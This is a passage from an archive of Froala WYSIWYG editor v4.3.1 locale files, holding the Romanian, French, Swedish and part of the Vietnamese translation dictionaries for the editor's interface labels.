orizontal\u0103", // Math 'Subscript': 'Indice', 'Superscript': 'Exponent', // Full screen 'Fullscreen': 'Ecran complet', // Clear formatting 'Clear Formatting': "Elimina\u021Bi formatarea", // Save 'Save': "Salva\u021Bi", // Undo, redo 'Undo': "Reexecut\u0103", 'Redo': "Dezexecut\u0103", // Select all 'Select All': "Selecteaz\u0103 tot", // Code view 'Code View': 'Vizualizare cod', // Quote 'Quote': 'Citat', 'Increase': "Indenteaz\u0103", 'Decrease': "De-indenteaz\u0103", // Quick Insert 'Quick Insert': "Inserare rapid\u0103", // Spcial Characters 'Special Characters': 'Caracterele speciale', 'Latin': 'Latină', 'Greek': 'Greacă', 'Cyrillic': 'Chirilic', 'Punctuation': 'Punctuaţie', 'Currency': 'Valută', 'Arrows': 'Săgeți', 'Math': 'Matematică', 'Misc': 'Diverse', // Print. 'Print': 'Imprimare', // Spell Checker. 'Spell Checker': 'Ortografie', // Help 'Help': 'Ajutor', 'Shortcuts': 'Comenzi rapide', 'Inline Editor': 'Editor inline', 'Show the editor': 'Arătați editorul', 'Common actions': 'Acțiuni comune', 'Copy': 'Copie', 'Cut': 'A taia', 'Paste': 'Lipire', 'Basic Formatting': 'Formatul de bază', 'Increase quote level': 'Creșteți nivelul cotației', 'Decrease quote level': 'Micșorați nivelul cotației', 'Image / Video': 'Imagine / video', 'Resize larger': 'Redimensionați mai mare', 'Resize smaller': 'Redimensionați mai puțin', 'Table': 'Tabel', 'Select table cell': 'Selectați celula tabelă', 'Extend selection one cell': 'Extindeți selecția la o celulă', 'Extend selection one row': 'Extindeți selecția cu un rând', 'Navigation': 'Navigare', 'Focus popup / toolbar': 'Focus popup / bara de instrumente', 'Return focus to previous position': 'Reveniți la poziția anterioară', // Embed.ly 'Embed URL': 'Încorporați url', 'Paste in a URL to embed': 'Lipiți un URL pentru a-l încorpora', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Conținutul lipit vine dintr-un document word Microsoft. Doriți să păstrați formatul sau să îl curățați?', 'Keep': 'A pastra', 'Clean': 'Curat', 'Word Paste Detected': 'A fost detectată lipire din Word', // Character Counter 'Characters': 'Caracterele', // More Buttons 'More Text': 'Mai Mult Text', 'More Paragraph': 'Mai Mult Paragraf', 'More Rich': 'Mai Mult Bogat', 'More Misc': 'Mai Mult Diverse' }, direction: 'ltr' }; }))); //# sourceMappingURL=ro.js.map languages/fr.js 0000674 00000030544 00000000000 0007431 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * French */ FE.LANGUAGE['fr'] = { translation: { // Place holder 'Type something': 'Tapez quelque chose', // Basic formatting 'Bold': 'Gras', 'Italic': 'Italique', 'Underline': "Soulign\xE9", 'Strikethrough': "Barr\xE9", // Main buttons 'Insert': "Ins\xE9rer", 'Delete': 'Supprimer', 'Cancel': 'Annuler', 'OK': 'Ok', 'Back': 'Retour', 'Remove': 'Supprimer', 'More': 'Plus', 'Update': 'Actualiser', 'Style': 'Style', // Font 'Font Family': "Polices de caract\xE8res", 'Font Size': 'Taille de police', 'Text Color': 'Couleur du texte', 'Background Color': 'Couleur d\'arri\xE8re plan', 'Line Height': 'Hauteur de la ligne', // Colors 'Colors': 'Couleurs', 'Background': "Arri\xE8re-plan", 'Text': 'Texte', 'HEX Color': "Couleur hexad\xE9cimale", // Paragraphs 'Paragraph Format': 'Format de paragraphe', 'Normal': 'Normal', 'Code': 'Code', 'Heading 1': 'Titre 1', 'Heading 2': 'Titre 2', 'Heading 3': 'Titre 3', 'Heading 4': 'Titre 4', 'Single': 'Célibataire', // Style 'Paragraph Style': 'Style de paragraphe', 'Inline Style': 'Style en ligne', 'Gray': 'Grise', 'Bordered': 'Bordé', 'Spaced': 'Espacé', 'Uppercase': 'Majuscule', // Alignment 'Align': 'Aligner', 'Align Left': "Aligner \xE0 gauche", 'Align Center': 'Aligner au centre', 'Align Right': "Aligner \xE0 droite", 'Align Justify': 'Justifier', 'None': 'Aucun', // Download PDF 'Download PDF': 'Télécharger le PDF', // Inline Class 'Inline Class': 'Classe en ligne', // Lists 'Ordered List': "Liste ordonn\xE9e", 'Unordered List': "Liste non ordonn\xE9e", 'Default': 'D\xE9faut', 'Circle': 'Cercle', 'Disc': 'Rond', 'Square': 'Carr\xE9', 'Lower Alpha': 'Alpha inf\xE9rieur', 'Lower Greek': 'Grec inf\xE9rieur', 'Lower Roman': 'Romain inf\xE9rieur', 'Upper Alpha': 'Alpha sup\xE9rieur', 'Upper Roman': 'Romain sup\xE9rieur', // Indent 'Decrease Indent': 'Diminuer le retrait', 'Increase Indent': 'Augmenter le retrait', // Links 'Insert Link': "Ins\xE9rer un lien", 'Open in new tab': 'Ouvrir dans un nouvel onglet', 'Open Link': 'Ouvrir le lien', 'Edit Link': 'Modifier le lien', 'Unlink': 'Enlever le lien', 'Choose Link': 'Choisir le lien', // Images 'Insert Image': "Ins\xE9rer une image", 'Upload Image': "T\xE9l\xE9verser une image", 'By URL': 'Par URL', 'Browse': 'Parcourir', 'Drop image': 'Cliquer pour parcourir', 'or click': 'ou glisser/d\xE9poser en plein \xE9cran', 'Manage Images': "G\xE9rer les images", 'Loading': 'Chargement', 'Deleting': 'Suppression', 'Tags': "\xC9tiquettes", 'Are you sure? Image will be deleted.': "Etes-vous certain? L'image sera supprim\xE9e.", 'Replace': 'Remplacer', 'Uploading': 'Envoi en cours', 'Loading image': 'Chargement d\'image en cours', 'Display': 'Afficher', 'Inline': 'En ligne', 'Break Text': 'Rompre le texte', 'Alternative Text': 'Texte alternatif', 'Change Size': 'Changer la dimension', 'Width': 'Largeur', 'Height': 'Hauteur', 'Something went wrong. Please try again.': "Quelque chose a mal tourn\xE9. Veuillez r\xE9essayer.", 'Image Caption': "L\xE9gende de l'image", 'Advanced Edit': "\xC9dition avanc\xE9e", // Video 'Insert Video': "Ins\xE9rer une vid\xE9o", 'Embedded Code': "Code int\xE9gr\xE9", 'Paste in a video URL': "Coller l'URL d'une vid\xE9o", 'Drop video': 'Cliquer pour parcourir', 'Your browser does not support HTML5 video.': "Votre navigateur ne supporte pas les vid\xE9os au format HTML5.", 'Upload Video': "T\xE9l\xE9verser une vid\xE9o", // Tables 'Insert Table': "Ins\xE9rer un tableau", 'Table Header': "Ent\xEAte de tableau", 'Remove Table': 'Supprimer le tableau', 'Table Style': 'Style de tableau', 'Horizontal Align': 'Alignement horizontal', 'Row': 'Ligne', 'Insert row above': "Ins\xE9rer une ligne au-dessus", 'Insert row below': "Ins\xE9rer une ligne en-dessous", 'Delete row': 'Supprimer la ligne', 'Column': 'Colonne', 'Insert column before': "Ins\xE9rer une colonne avant", 'Insert column after': "Ins\xE9rer une colonne apr\xE8s", 'Delete column': 'Supprimer la colonne', 'Cell': 'Cellule', 'Merge cells': 'Fusionner les cellules', 'Horizontal split': 'Diviser horizontalement', 'Vertical split': 'Diviser verticalement', 'Cell Background': "Arri\xE8re-plan de la cellule", 'Vertical Align': 'Alignement vertical', 'Top': 'En haut', 'Middle': 'Au centre', 'Bottom': 'En bas', 'Align Top': 'Aligner en haut', 'Align Middle': 'Aligner au centre', 'Align Bottom': 'Aligner en bas', 'Cell Style': 'Style de cellule', 'Dashed Borders': 'Bordures pointillées', 'Alternate Rows': 'Lignes alternatives', 'Highlighted': 'Souligné', 'Thick': 'Épais', // Files 'Upload File': "T\xE9l\xE9verser un fichier", 'Drop file': 'Cliquer pour parcourir', // Emoticons 'Emoticons': "\xC9motic\xF4nes", 'Grinning face': 'Souriant visage', 'Grinning face with smiling eyes': 'Souriant visage aux yeux souriants', 'Face with tears of joy': "Visage \xE0 des larmes de joie", 'Smiling face with open mouth': 'Visage souriant avec la bouche ouverte', 'Smiling face with open mouth and smiling eyes': 'Visage souriant avec la bouche ouverte et les yeux en souriant', 'Smiling face with open mouth and cold sweat': 'Visage souriant avec la bouche ouverte et la sueur froide', 'Smiling face with open mouth and tightly-closed eyes': "Visage souriant avec la bouche ouverte et les yeux herm\xE9tiquement clos", 'Smiling face with halo': 'Sourire visage avec halo', 'Smiling face with horns': 'Visage souriant avec des cornes', 'Winking face': 'Clin d\'oeil visage', 'Smiling face with smiling eyes': 'Sourire visage aux yeux souriants', 'Face savoring delicious food': "Visage savourant de d\xE9licieux plats", 'Relieved face': "Soulag\xE9 visage", 'Smiling face with heart-shaped eyes': 'Visage souriant avec des yeux en forme de coeur', 'Smiling face with sunglasses': 'Sourire visage avec des lunettes de soleil', 'Smirking face': 'Souriant visage', 'Neutral face': 'Visage neutre', 'Expressionless face': 'Visage sans expression', 'Unamused face': "Visage pas amus\xE9", 'Face with cold sweat': "Face \xE0 la sueur froide", 'Pensive face': 'pensif visage', 'Confused face': 'Visage confus', 'Confounded face': 'visage maudit', 'Kissing face': 'Embrasser le visage', 'Face throwing a kiss': 'Visage jetant un baiser', 'Kissing face with smiling eyes': 'Embrasser le visage avec les yeux souriants', 'Kissing face with closed eyes': "Embrasser le visage avec les yeux ferm\xE9s", 'Face with stuck out tongue': 'Visage avec sortait de la langue', 'Face with stuck out tongue and winking eye': 'Visage avec sortait de la langue et des yeux clignotante', 'Face with stuck out tongue and tightly-closed eyes': "Visage avec sortait de la langue et les yeux ferm\xE9s herm\xE9tiquement", 'Disappointed face': "Visage d\xE9\xE7u", 'Worried face': 'Visage inquiet', 'Angry face': "Visage en col\xE9re", 'Pouting face': 'Faire la moue face', 'Crying face': 'Pleurer visage', 'Persevering face': "Pers\xE9v\xE9rer face", 'Face with look of triumph': 'Visage avec le regard de triomphe', 'Disappointed but relieved face': "D\xE9\xE7u, mais le visage soulag\xE9", 'Frowning face with open mouth': "Les sourcils fronc\xE9s visage avec la bouche ouverte", 'Anguished face': "Visage angoiss\xE9", 'Fearful face': 'Craignant visage', 'Weary face': 'Visage las', 'Sleepy face': 'Visage endormi', 'Tired face': "Visage fatigu\xE9", 'Grimacing face': "Visage grima\xE7ante", 'Loudly crying face': 'Pleurer bruyamment visage', 'Face with open mouth': "Visage \xE0 la bouche ouverte", 'Hushed face': "Visage feutr\xE9e", 'Face with open mouth and cold sweat': "Visage \xE0 la bouche ouverte et la sueur froide", 'Face screaming in fear': 'Visage hurlant de peur', 'Astonished face': "Visage \xE9tonn\xE9", 'Flushed face': "Visage congestionn\xE9", 'Sleeping face': 'Visage au bois dormant', 'Dizzy face': 'Visage vertige', 'Face without mouth': 'Visage sans bouche', 'Face with medical mask': "Visage avec un masque m\xE9dical", // Line breaker 'Break': 'Rompre', // Math 'Subscript': 'Indice', 'Superscript': 'Exposant', // Full screen 'Fullscreen': "Plein \xE9cran", // Horizontal line 'Insert Horizontal Line': "Ins\xE9rer une ligne horizontale", // Clear formatting 'Clear Formatting': 'Effacer le formatage', // Save 'Save': 'Sauvegarder', // Undo, redo 'Undo': 'Annuler', 'Redo': "R\xE9tablir", // Select all 'Select All': "Tout s\xE9lectionner", // Code view 'Code View': 'Mode HTML', // Quote 'Quote': 'Citation', 'Increase': 'Augmenter', 'Decrease': 'Diminuer', // Quick Insert 'Quick Insert': 'Insertion rapide', // Spcial Characters 'Special Characters': "Caract\xE8res sp\xE9ciaux", 'Latin': 'Latin', 'Greek': 'Grec', 'Cyrillic': 'Cyrillique', 'Punctuation': 'Ponctuation', 'Currency': 'Devise', 'Arrows': "Fl\xE8ches", 'Math': 'Math', 'Misc': 'Divers', // Print. 'Print': 'Imprimer', // Spell Checker. 'Spell Checker': 'Correcteur orthographique', // Help 'Help': 'Aide', 'Shortcuts': 'Raccourcis', 'Inline Editor': "\xC9diteur en ligne", 'Show the editor': "Montrer l'\xE9diteur", 'Common actions': 'Actions communes', 'Copy': 'Copier', 'Cut': 'Couper', 'Paste': 'Coller', 'Basic Formatting': 'Formatage de base', 'Increase quote level': 'Augmenter le niveau de citation', 'Decrease quote level': 'Diminuer le niveau de citation', 'Image / Video': "Image / vid\xE9o", 'Resize larger': 'Redimensionner plus grand', 'Resize smaller': 'Redimensionner plus petit', 'Table': 'Table', 'Select table cell': "S\xE9lectionner la cellule du tableau", 'Extend selection one cell': "\xC9tendre la s\xE9lection d'une cellule", 'Extend selection one row': "\xC9tendre la s\xE9lection d'une ligne", 'Navigation': 'Navigation', 'Focus popup / toolbar': 'Focus popup / toolbar', 'Return focus to previous position': "Retourner l'accent sur le poste pr\xE9c\xE9dent", // Embed.ly 'Embed URL': "URL int\xE9gr\xE9e", 'Paste in a URL to embed': "Coller une URL int\xE9gr\xE9e", // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': "Le contenu coll\xE9 provient d'un document Microsoft Word. Voulez-vous conserver le format ou le nettoyer?", 'Keep': 'Conserver', 'Clean': 'Nettoyer', 'Word Paste Detected': "Copiage de mots d\xE9tect\xE9", // Character Counter 'Characters': 'Caract\xE8res', // More Buttons 'More Text': 'Autres options de texte', 'More Paragraph': 'Autres options de paragraphe', 'More Rich': 'Autres options d\'enrichissement', 'More Misc': 'Autres fonctionnalit\xE9s diverses' }, direction: 'ltr' }; }))); //# sourceMappingURL=fr.js.map languages/sv.js 0000674 00000025177 00000000000 0007460 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Swedish */ FE.LANGUAGE['sv'] = { translation: { // Place holder 'Type something': "Ange n\xE5got", // Basic formatting 'Bold': 'Fetstil', 'Italic': 'Kursiv stil', 'Underline': 'Understruken', 'Strikethrough': 'Genomstruken', // Main buttons 'Insert': 'Infoga', 'Delete': 'Radera', 'Cancel': 'Avbryt', 'OK': 'Ok', 'Back': 'Tillbaka', 'Remove': 'Ta bort', 'More': 'Mer', 'Update': 'Uppdatera', 'Style': 'Stil', // Font 'Font Family': 'Teckensnitt', 'Font Size': 'Teckenstorlek', // Colors 'Colors': "F\xE4rger", 'Background': 'Bakgrund', 'Text': 'Text', 'HEX Color': 'Hex färg', // Paragraphs 'Paragraph Format': 'Format', 'Normal': 'Normal', 'Code': 'Kod', 'Heading 1': 'Rubrik 1', 'Heading 2': 'Rubrik 2', 'Heading 3': 'Rubrik 3', 'Heading 4': 'Rubrik 4', // Style 'Paragraph Style': 'Styckesformat', 'Inline Style': 'Infogad stil', // Alignment 'Align': 'Justera', 'Align Left': 'Vänsterjustera', 'Align Center': 'Centrera', 'Align Right': 'Högerjustera', 'Align Justify': 'Justera', 'None': 'Inget', // Lists 'Ordered List': 'Ordnad lista', 'Unordered List': 'Oordnad lista', // Indent 'Decrease Indent': 'Minska indrag', 'Increase Indent': "\xD6ka indrag", // Links 'Insert Link': "Infoga l\xE4nk", 'Open in new tab': "\xD6ppna i ny flik", 'Open Link': "\xD6ppna l\xE4nk", 'Edit Link': "Redigera l\xE4nk", 'Unlink': "Ta bort l\xE4nk", 'Choose Link': "V\xE4lj l\xE4nk", // Images 'Insert Image': 'Infoga bild', 'Upload Image': 'Ladda upp en bild', 'By URL': 'Genom URL', 'Browse': "Bl\xE4ddra", 'Drop image': "Sl\xE4pp bild", 'or click': 'eller klicka', 'Manage Images': 'Hantera bilder', 'Loading': 'Laddar', 'Deleting': 'Raderar', 'Tags': 'Etiketter', 'Are you sure? Image will be deleted.': "\xC4r du s\xE4ker? Bild kommer att raderas.", 'Replace': "Ers\xE4tt", 'Uploading': 'Laddar upp', 'Loading image': 'Laddar bild', 'Display': 'Visa', 'Inline': 'I linje', 'Break Text': 'Bryt text', 'Alternative Text': 'Alternativ text', 'Change Size': "\xC4ndra storlek", 'Width': 'Bredd', 'Height': "H\xF6jd", 'Something went wrong. Please try again.': "N\xE5got gick fel. Var god f\xF6rs\xF6k igen.", 'Image Caption': 'Bildtext', 'Advanced Edit': 'Avancerad redigering', // Video 'Insert Video': 'Infoga video', 'Embedded Code': "Inb\xE4ddad kod", 'Paste in a video URL': 'Klistra in i en video url', 'Drop video': 'Släpp video', 'Your browser does not support HTML5 video.': 'Din webbläsare stöder inte html5-video.', 'Upload Video': 'Ladda upp video', // Tables 'Insert Table': 'Infoga tabell', 'Table Header': 'Tabell huvud', 'Remove Table': 'Ta bort tabellen', 'Table Style': 'Tabellformat', 'Horizontal Align': 'Horisontell justering', 'Row': 'Rad', 'Insert row above': "Infoga rad f\xF6re", 'Insert row below': 'Infoga rad efter', 'Delete row': 'Ta bort rad', 'Column': 'Kolumn', 'Insert column before': "Infoga kolumn f\xF6re", 'Insert column after': 'Infoga kolumn efter', 'Delete column': 'Ta bort kolumn', 'Cell': 'Cell', 'Merge cells': 'Sammanfoga celler', 'Horizontal split': 'Dela horisontellt', 'Vertical split': 'Dela vertikalt', 'Cell Background': 'Cellbakgrund', 'Vertical Align': 'Vertikal justering', 'Top': 'Överst', 'Middle': 'Mitten', 'Bottom': 'Nederst', 'Align Top': 'Justera överst', 'Align Middle': 'Justera mitten', 'Align Bottom': 'Justera nederst', 'Cell Style': 'Cellformat', // Files 'Upload File': 'Ladda upp fil', 'Drop file': "Sl\xE4pp fil", // Emoticons 'Emoticons': 'Uttryckssymboler', 'Grinning face': 'Grina ansikte', 'Grinning face with smiling eyes': "Grina ansikte med leende \xF6gon", 'Face with tears of joy': "Face med gl\xE4djet\xE5rar", 'Smiling face with open mouth': "Leende ansikte med \xF6ppen mun", 'Smiling face with open mouth and smiling eyes': "Leende ansikte med \xF6ppen mun och leende \xF6gon", 'Smiling face with open mouth and cold sweat': "Leende ansikte med \xF6ppen mun och kallsvett", 'Smiling face with open mouth and tightly-closed eyes': "Leende ansikte med \xF6ppen mun och t\xE4tt slutna \xF6gon", 'Smiling face with halo': 'Leende ansikte med halo', 'Smiling face with horns': 'Leende ansikte med horn', 'Winking face': 'Blinka ansikte', 'Smiling face with smiling eyes': "Leende ansikte med leende \xF6gon", 'Face savoring delicious food': "Ansikte smaka uts\xF6kt mat", 'Relieved face': "L\xE4ttad ansikte", 'Smiling face with heart-shaped eyes': "Leende ansikte med hj\xE4rtformade \xF6gon", 'Smiling face with sunglasses': "Leende ansikte med solglas\xF6gon", 'Smirking face': 'Flinande ansikte', 'Neutral face': 'Neutral ansikte', 'Expressionless face': 'Uttryckslöst ansikte', 'Unamused face': 'Inte roade ansikte', 'Face with cold sweat': 'Ansikte med kallsvett', 'Pensive face': "Eftert\xE4nksamt ansikte", 'Confused face': "F\xF6rvirrad ansikte", 'Confounded face': "F\xF6rbryllade ansikte", 'Kissing face': 'Kyssande ansikte', 'Face throwing a kiss': 'Ansikte kasta en kyss', 'Kissing face with smiling eyes': "Kyssa ansikte med leende \xF6gon", 'Kissing face with closed eyes': "Kyssa ansikte med slutna \xF6gon", 'Face with stuck out tongue': 'Ansikte med stack ut tungan', 'Face with stuck out tongue and winking eye': "Ansikte med stack ut tungan och blinkande \xF6ga", 'Face with stuck out tongue and tightly-closed eyes': "Ansikte med stack ut tungan och t\xE4tt slutna \xF6gon", 'Disappointed face': 'Besviken ansikte', 'Worried face': 'Orolig ansikte', 'Angry face': 'Argt ansikte', 'Pouting face': "Sk\xE4ggtorsk ansikte", 'Crying face': "Gr\xE5tande ansikte", 'Persevering face': "Uth\xE5llig ansikte", 'Face with look of triumph': "Ansikte med utseendet p\xE5 triumf", 'Disappointed but relieved face': "Besviken men l\xE4ttad ansikte", 'Frowning face with open mouth': "Rynkar pannan ansikte med \xF6ppen mun", 'Anguished face': "\xC5ngest ansikte", 'Fearful face': "R\xE4dda ansikte", 'Weary face': "Tr\xF6tta ansikte", 'Sleepy face': "S\xF6mnig ansikte", 'Tired face': "Tr\xF6tt ansikte", 'Grimacing face': 'Grimaserande ansikte', 'Loudly crying face': "H\xF6gt gr\xE5tande ansikte", 'Face with open mouth': "Ansikte med \xF6ppen mun", 'Hushed face': "D\xE4mpade ansikte", 'Face with open mouth and cold sweat': "Ansikte med \xF6ppen mun och kallsvett", 'Face screaming in fear': "Face skriker i skr\xE4ck", 'Astonished face': "F\xF6rv\xE5nad ansikte", 'Flushed face': 'Ansiktsrodnad', 'Sleeping face': 'Sovande anskite', 'Dizzy face': 'Yr ansikte', 'Face without mouth': 'Ansikte utan mun', 'Face with medical mask': 'Ansikte med medicinsk maskera', // Line breaker 'Break': 'Ny rad', // Math 'Subscript': "Neds\xE4nkt", 'Superscript': "Upph\xF6jd", // Full screen 'Fullscreen': "Helsk\xE4rm", // Horizontal line 'Insert Horizontal Line': 'Infoga horisontell linje', // Clear formatting 'Clear Formatting': 'Ta bort formatering', // Save 'Save': 'Spara', // Undo, redo 'Undo': "\xC5ngra", 'Redo': "G\xF6r om", // Select all 'Select All': 'Markera allt', // Code view 'Code View': 'Kodvy', // Quote 'Quote': 'Citat', 'Increase': "\xD6ka", 'Decrease': 'Minska', // Quick Insert 'Quick Insert': 'Snabbinfoga', // Spcial Characters 'Special Characters': 'Specialtecken', 'Latin': 'Latin', 'Greek': 'Grekisk', 'Cyrillic': 'Cyrillic', 'Punctuation': 'Skiljetecken', 'Currency': 'Valuta', 'Arrows': 'Pilar', 'Math': 'Matematik', 'Misc': 'Övrigt', // Print. 'Print': 'Skriva ut', // Spell Checker. 'Spell Checker': 'Stavningskontroll', // Help 'Help': 'Hjälp', 'Shortcuts': 'Genvägar', 'Inline Editor': 'Inline editor', 'Show the editor': 'Visa redigeraren', 'Common actions': 'Vanliga kommandon', 'Copy': 'Kopiera', 'Cut': 'Klipp ut', 'Paste': 'Klistra in', 'Basic Formatting': 'Grundläggande formatering', 'Increase quote level': 'Öka citatnivå', 'Decrease quote level': 'Minska citatnivå', 'Image / Video': 'Bild / video', 'Resize larger': 'Öka storlek', 'Resize smaller': 'Minska storlek', 'Table': 'Tabell', 'Select table cell': 'Markera tabellcell', 'Extend selection one cell': 'Utöka markering en cell', 'Extend selection one row': 'Utöka markering en rad', 'Navigation': 'Navigering', 'Focus popup / toolbar': 'Fokusera popup / verktygsfältet', 'Return focus to previous position': 'Byt fokus till föregående plats', // Embed.ly 'Embed URL': 'Bädda in url', 'Paste in a URL to embed': 'Klistra in i en url för att bädda in', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Den inklippta texten kommer från ett Microsoft Word-dokument. Vill du behålla formateringen eller städa upp det?', 'Keep': 'Behåll', 'Clean': 'Städa upp', 'Word Paste Detected': 'Urklipp från Word upptäckt', // Character Counter 'Characters': 'Tecken', // More Buttons 'More Text': 'Mer Text', 'More Paragraph': 'Mer Paragraf', 'More Rich': 'Mer Rik', 'More Misc': 'Mer Blandat' }, direction: 'ltr' }; }))); //# sourceMappingURL=sv.js.map languages/vi.js 0000674 00000020722 00000000000 0007435 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; FE.LANGUAGE['vi'] = { translation: { // Place holder 'Type something': "Vi\u1EBFt \u0111i\u1EC1u g\xEC \u0111\xF3...", // Basic formatting 'Bold': "\u0110\u1EADm", 'Italic': "Nghi\xEAng", 'Underline': "G\u1EA1ch ch\xE2n", 'Strikethrough': "G\u1EA1ch ngang ch\u1EEF", // Main buttons 'Insert': "Ch\xE8n", 'Delete': "X\xF3a", 'Cancel': "H\u1EE7y", 'OK': 'OK', 'Back': "Tr\u1EDF v\u1EC1", 'Remove': "X\xF3a", 'More': "Th\xEAm", 'Update': "C\u1EADp nh\u1EADt", 'Style': "Ki\u1EC3u", // Font 'Font Family': "Ph\xF4ng ch\u1EEF", 'Font Size': "C\u1EE1 ch\u1EEF", // Colors 'Colors': "M\xE0u s\u1EAFc", 'Background': "N\u1EC1n", 'Text': "Ch\u1EEF", 'HEX Color': 'Màu hex', // Paragraphs 'Paragraph Format': "\u0110\u1ECBnh d\u1EA1ng \u0111o\u1EA1n v\u0103n b\u1EA3n", 'Normal': 'Normal', 'Code': 'Code', 'Heading 1': 'Heading 1', 'Heading 2': 'Heading 2', 'Heading 3': 'Heading 3', 'Heading 4': 'Heading 4', // Style 'Paragraph Style': "Ki\u1EC3u \u0111o\u1EA1n v\u0103n b\u1EA3n", 'Inline Style': "Ki\u1EC3u d\xF2ng", // Alignment 'Align': "C\u0103n ch\u1EC9nh", 'Align Left': "C\u0103n tr\xE1i", 'Align Center': "C\u0103n gi\u1EEFa", 'Align Right': "C\u0103n ph\u1EA3i", 'Align Justify': "C\u0103n \u0111\u1EC1u", 'None': "Kh\xF4ng", // Lists 'Ordered List': "Danh s\xE1ch theo th\u1EE9 t\u1EF1", 'Unordered List': "Danh s\xE1ch li\u1EC7t k\xEA", // Indent 'Decrease Indent': "Gi\u1EA3m c\u0103n l\u1EC1", 'Increase Indent': "T\u0103ng c\u0103n l\u1EC1", // Links 'Insert Link': "Ch\xE8n link", 'Open in new tab': "M\u1EDF trong tab m\u1EDBi", 'Open Link': "M\u1EDF link", 'Edit Link': "S\u1EEDa link", 'Unlink': "B\u1ECF link", 'Choose Link': "Ch\u1ECDn link", // Images 'Insert Image': "Ch\xE8n h\xECnh", 'Upload Image': "T\u1EA3i h\xECnh l\xEAn", 'By URL': "B\u1EB1ng URL", 'Browse': "Duy\u1EC7t file", 'Drop image': "K\xE9o th\u1EA3 h\xECnh", 'or click': "ho\u1EB7c ch\u1ECDn", 'Manage Images': "Qu\u1EA3n l\xFD h\xECnh \u1EA3nh", 'Loading': "\u0110ang t\u1EA3i", 'Deleting': "\u0110ang x\xF3a", 'Tags': 'Tags', 'Are you sure? Image will be deleted.': "B\u1EA1n c\xF3 ch\u1EAFc ch\u1EAFn? H\xECnh \u1EA3nh s\u1EBD b\u1ECB x\xF3a.", 'Replace': "Thay th\u1EBF", 'Uploading': "\u0110ang t\u1EA3i l\xEAn", 'Loading image': "\u0110ang t\u1EA3i h\xECnh \u1EA3nh", 'Display': "Hi\u1EC3n th\u1ECB", 'Inline': "C\xF9ng d\xF2ng v\u1EDBi ch\u1EEF", 'Break Text': "Kh\xF4ng c\xF9ng d\xF2ng v\u1EDBi ch\u1EEF", 'Alternative Text': "Thay th\u1EBF ch\u1EEF", 'Change Size': "Thay \u0111\u1ED5i k\xEDch c\u1EE1", 'Width': "Chi\u1EC1u r\u1ED9ng", 'Height': "Chi\u1EC1u cao", 'Something went wrong. Please try again.': "C\xF3 l\u1ED7i x\u1EA3y ra. Vui l\xF2ng th\u1EED l\u1EA1i sau.", 'Image Caption': 'Chú thích hình ảnh', 'Advanced Edit': 'Chỉnh sửa tiên tiến', // Video 'Insert Video': "Ch\xE8n video", 'Embedded Code': "M\xE3 nh\xFAng", 'Paste in a video URL': 'Dán vào một url video', 'Drop video': 'Thả video', 'Your browser does not support HTML5 video.': 'Trình duyệt của bạn không hỗ trợ video html5.', 'Upload Video': 'Tải video lên', // Tables 'Insert Table': "Ch\xE8n b\u1EA3ng", 'Table Header': "D\xF2ng \u0111\u1EA7u b\u1EA3ng", 'Remove Table': "X\xF3a b\u1EA3ng", 'Table Style': "Ki\u1EC3u b\u1EA3ng", 'Horizontal Align': "C\u0103n ch\u1EC9nh chi\u1EC1u ngang", 'Row': "D\xF2ng", 'Insert row above': "Ch\xE8n d\xF2ng ph\xEDa tr\xEAn", 'Insert row below': "Ch\xE8n d\xF2ng ph\xEDa d\u01B0\u1EDBi", 'Delete row': "X\xF3a d\xF2ng", 'Column': "C\u1ED9t", 'Insert column before': "Ch\xE8n c\u1ED9t b\xEAn tr\xE1i", 'Insert column after': "Ch\xE8n c\u1ED9t b\xEAn ph\u1EA3i", 'Delete column': "X\xF3a c\u1ED9t", 'Cell': "\xD4 b\u1EA3ng", 'Merge cells': "G\u1ED9p \xF4", 'Horizontal split': "Chia d\xF2ng", 'Vertical split': "Chia c\u1ED9t", 'Cell Background': "M\xE0u n\u1EC1n", 'Vertical Align': "C\u0103n ch\u1EC9nh chi\u1EC1u d\u1ECDc", 'Top': "Tr\xEAn c\xF9ng", 'Middle': "Gi\u1EEFa", 'Bottom': "D\u01B0\u1EDBi \u0111\xE1y", 'Align Top': "C\u0103n tr\xEAn", 'Align Middle': "C\u0103n gi\u1EEFa", 'Align Bottom': "C\u0103n d\u01B0\u1EDBi", 'Cell Style': "Ki\u1EC3u \xF4", // Files 'Upload File': "T\u1EA3i file l\xEAn", 'Drop file': "K\xE9o th\u1EA3 file", // Emoticons 'Emoticons': "Bi\u1EC3u t\u01B0\u1EE3ng c\u1EA3m x\xFAc", // Line breaker 'Break': "Ng\u1EAFt d\xF2ng", // Math 'Subscript': 'Subscript', 'Superscript': 'Superscript', // Full screen 'Fullscreen': "To\xE0n m\xE0n h\xECnh", // Horizontal line 'Insert Horizontal Line': "Ch\xE8n \u0111\u01B0\u1EDDng k\u1EBB ngang v\u0103n b\u1EA3n", // Clear formatting 'Clear Formatting': "X\xF3a \u0111\u1ECBnh d\u1EA1ng", // Save 'Save': 'Save', // Undo, redo 'Undo': 'Undo', 'Redo': 